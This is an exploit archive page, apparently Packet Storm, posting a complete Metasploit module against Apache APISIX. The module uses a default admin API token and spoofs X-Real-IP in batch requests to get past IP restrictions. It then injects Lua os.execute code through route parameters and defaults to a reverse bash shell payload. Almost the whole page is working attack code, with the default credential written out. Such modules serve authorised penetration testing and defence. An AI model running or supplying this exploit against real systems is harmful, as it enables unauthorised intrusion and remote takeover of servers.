exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Apache APISIX Remote Code Execution

Apache APISIX Remote Code Execution
Posted Mar 7, 2022
Authored by Heyder Andrade, YuanSheng Wang | Site metasploit.com

Apache APISIX has a default, built-in API token that can be used to obtain full access of the admin API. Access to this API allows for remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass th e IP restriction plugin.

tags | exploit, remote, code execution
advisories | CVE-2020-13945, CVE-2022-24112
SHA-256 | 75f7fd4db82a985948b400b9686ffc05f654d453b228621992abd5bb2505add2

Apache APISIX Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'APISIX Admin API default access token RCE',
'Description' => %q{
Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access
all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x
version. This module also leverages another vulnerability to bypass the IP restriction plugin.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'YuanSheng Wang <membphis[at]gmail.com>' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-13945'],
['CVE', '2022-24112'],
['URL', 'https://github.com/apache/apisix/pull/2244'],
['URL', 'https://seclists.org/oss-sec/2020/q4/187'],
['URL', 'https://www.openwall.com/lists/oss-security/2022/02/11/3']
],
'DisclosureDate' => '2020-12-07',
'Arch' => ARCH_CMD,
'Platform' => %w[unix],
'Targets' => [
[
'Automatic', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the APISIX DocumentRoot', '/apisix']),
OptString.new('API_KEY', [true, 'Admin API KEY (Default: edd1c9f034335f136f87ad84b625c8f1)', 'edd1c9f034335f136f87ad84b625c8f1']),
OptString.new('ALLOWED_IP', [true, 'IP in the allowed list', '127.0.0.1'])
])
end

def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
# batch request is the preferred method because it bypass the ip-restriction plugin
res = nil
if batch_request_enabled?

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes"
}
]
res = batch_request(batch_body(pipeline))
vprint_good('Can perform authenticated requests through batch requests') if res && res.code == 200

pipeline = [
{
method: 'GET',
path: "#{target_uri.path}/admin/routes/index"
}
]
res = batch_request(batch_body(pipeline))

else
vprint_error('The batch-requests plugin is not enabled')

vprint_good('There is direct access to the routes using the provided token') if direct_access?

res = apisix_request({
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
'method' => 'GET'
})

end
unless res && res.headers.key?('Server')
return Exploit::CheckCode::Unknown('Unable to determine which web server is running')
end

res.headers['Server'].match(%r{(.*)/([\d|.]+)$})

server = Regexp.last_match(1) || nil
version = Rex::Version.new(Regexp.last_match(2)) || nil

if server && server.match(/APISIX/)
vprint_status("Found an #{server} #{version} http server header")
return Exploit::CheckCode::Appears if version > Rex::Version.new('2')
end
return Exploit::CheckCode::Safe('A vulnerable version if APISIX server is not running')
end

def exploit
# batch request is the preferred method because it bypass the ip-restriction plugin
if batch_request_enabled?
@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
filter_func_exec
# trigger the payload
apisix_request({
'uri' => normalize_uri(@payload_uri),
'method' => 'GET'
})
else
add_route
end
handler
end

def cleanup
return unless @payload_uri

data = {
'uri' => @payload_uri
}
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'DELETE',
'body' => JSON.dump(data)
}
]
vprint_status("Deleting route #{@payload_uri}")
# remove the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to delete the route') unless res.code == 200
end

def apisix_request(params = {})
params.merge!({
'ctype' => 'application/json',
'headers' => {
'X-API-KEY' => datastore['API_KEY'],
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})

send_request_cgi(params)
end

# Using batch request to bypass ip-restriction policies (CVE-2022-24112)
def batch_request(data = nil)
params = {
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
}
params.merge!({ 'data' => data }) if data

apisix_request(params)
end

def batch_body(pipeline = [])
headers = {
'X-Real-IP': datastore['ALLOWED_IP'].to_s,
'X-API-KEY' => datastore['API_KEY'].to_s,
'Content-Type' => 'application/json'
}

{
'headers' => headers,
'timeout' => 1500,
'pipeline' => pipeline
}.to_json
end

def base_data
{
'uri' => Rex::Text.rand_text_alpha_lower(6),
'upstream' => {
'type' => 'roundrobin',
'nodes' => { Faker::Internet.domain_name.to_s => 1 }
}
}
end

def add_route
# This method use the script parameter to execute the payload
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
# binding.pry
data = base_data.merge({
'script' => stub
})
uri = normalize_uri(target_uri.path, '/admin/routes')
if batch_request_enabled?
pipeline = [
{
'method' => 'POST',
'path' => uri,
'body' => data
}
]
batch_request(batch_body(pipeline))
else
params = {
'method' => 'POST',
'uri' => uri,
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def filter_func_exec
# This method use the filter_func parameter to execute the payload
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })

data = base_data.merge({
'uri' => @payload_uri,
'name' => Rex::Text.rand_text_alpha_lower(6),
'filter_func' => stub
})
if batch_request_enabled?
pipeline = [
{
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
'method' => 'PUT',
'body' => JSON.dump(data)
}
]
# add the route
res = batch_request(batch_body(pipeline))
vprint_error('Unable to create route') unless res.code == 200
else
params = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
'data' => JSON.dump(data)
}
apisix_request(params)
end
end

def direct_access?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/admin/routes'),
'method' => 'GET'
})

return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)

true
end

def batch_request_enabled?
res = apisix_request({
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
'method' => 'POST'
})

return false if res.code == 404

true
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close